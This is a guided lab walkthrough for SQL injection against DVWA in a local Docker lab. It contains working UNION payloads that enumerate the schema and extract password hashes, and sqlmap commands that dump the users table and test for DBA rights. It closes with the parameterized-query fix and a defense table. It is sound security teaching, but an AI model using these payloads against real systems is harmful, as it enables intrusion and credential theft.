Module 15 — SQL Injection · Guided Lab Walkthrough¶
Step-by-step against DVWA in your own Docker lab (
../../labs/docker-compose.yml) — never a site you don't own. Each step: command/payload, what you should see, a hint, and the defender/PAM takeaway. Outputs are representative.
Goal: exploit SQLi by hand (understand it), confirm with sqlmap (automate it), then watch the parameterized-query fix shut it down.
Target: DVWA at http://localhost:8081 — page SQL Injection. Set DVWA Security = Low to start. Grab your PHPSESSID and security cookies from the browser (DevTools → Application → Cookies).
Part A — Manual exploitation (the understanding)¶
A1. Detect¶
In the SQL Injection box, submit 1, then 1'.
- 1 → returns one user row (normal).
- 1' → you should see a SQL error or a broken page:
You have an error in your SQL syntax; ... near '''' at line 1
A2. Count columns¶
Submit: 1' ORDER BY 2 -- - then 1' ORDER BY 3 -- -.
- ORDER BY 2 → OK. ORDER BY 3 → error. So the query has 2 columns.
Hint
Always include the trailing `-- -` (dash-dash-space-dash) to comment out the rest of the original query. Increment until the first error; the last working number is the column count.A3. UNION to surface data¶
Submit: 1' UNION SELECT 1,2 -- - → you should see First name: 1 / Surname: 2 (both columns display). Then fingerprint:
1' UNION SELECT version(), database() -- -
First name: 5.7.x / Surname: dvwa.
A4. Enumerate schema¶
1' UNION SELECT table_name, table_schema FROM information_schema.tables WHERE table_schema='dvwa' -- -
1' UNION SELECT column_name, 2 FROM information_schema.columns WHERE table_name='users' -- -
users table and columns user, password, user_id, ...
A5. Extract credentials¶
1' UNION SELECT user, password FROM users -- -
admin : 5f4dcc3b5aa765d61d8327deb882cf99
hashcat -m 0 in seconds (ties to Module 20). This is the full chain: injection → schema → data → offline crack.
Defender/PAM view: the DB account DVWA uses is over-privileged and its password sits in config. In production: least-privilege DB account + CCP/Conjur-delivered, CPM-rotated credential.
Part B — Automate & confirm with sqlmap¶
sqlmap -u "http://localhost:8081/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=<yours>; security=low" --batch --dbs
sqlmap -u "http://localhost:8081/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=<yours>; security=low" --batch -D dvwa -T users --dump
sqlmap -u "http://localhost:8081/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=<yours>; security=low" --batch --current-user --is-dba
users table (and offer to crack the hashes with its built-in dictionary), and report whether the account is a DBA.
Hint: sqlmap says "not injectable"
Your cookie is stale or `security` isn't `low`. Re-copy `PHPSESSID` from the browser and confirm `security=low`. Add `--level=2 --risk=2` to widen tests.Observe: --is-dba: True (or a high-privilege user) is the amplifier — an over-privileged DB account is what turns SQLi into file read/write and potential RCE.
Part C — Watch the fix work¶
Raise DVWA Security to Impossible and re-run A1 and Part B.
- Manual 1' → no error, no injection; the page treats it as a literal id.
- sqlmap → "target does not seem to be injectable."
Open DVWA's View Source for Low vs Impossible and compare:
// LOW: input concatenated straight into the query
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
// IMPOSSIBLE: parameterized (PDO prepared statement + bound param)
$data = $db->prepare('SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;');
$data->bindParam(':id', $id, PDO::PARAM_INT);
What you should conclude¶
| Step | Real-world defense |
|---|---|
1' caused an error |
Parameterized queries (primary) |
Dumped users |
Least-privilege DB account |
--is-dba: True |
No DBA/sa for app accounts; disable xp_cmdshell |
| MD5 hashes cracked | Slow, salted KDFs (bcrypt/Argon2) |
| Creds in DVWA config | Vault + CPM-rotate; deliver via CCP/Conjur |
Cleanup¶
# nothing persistent created; reset DVWA via its "Setup / Reset DB" page if desired
Record it¶
Log payloads, outputs, and the Low-vs-Impossible source diff in the My lab log table in README.md; note misses in PROGRESS.md.